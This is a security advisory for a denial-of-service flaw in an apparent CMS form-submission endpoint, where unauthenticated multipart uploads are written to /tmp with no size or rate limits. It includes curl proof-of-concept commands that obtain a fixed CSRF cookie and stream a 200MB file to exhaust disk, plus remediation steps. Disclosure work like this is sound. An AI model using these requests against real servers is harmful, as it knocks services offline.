CVE-2026-113656

**Summary** The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received. **Details** `packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously. **PoC** ``` $ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET) $ df -P /tmp # before: used=1105212 $ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \ -F "file=@/tmp/opencode/big.bin;type=application/octet-stream" & DURING transfer: used=1148668 still transferring: used=1226936 # +121MB mid-transfer on disk http=500 time=1.78s sent=209715411B # generic error AFTER full staging # Anonymous, zero credentials. 200MB written to /tmp pre-validation. ``` **Impact** Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `/tmp` (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no `req.aborted` cleanup). **Remediation** — Set multer `limits` (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on `req.aborted`/error; add per-IP rate limiting.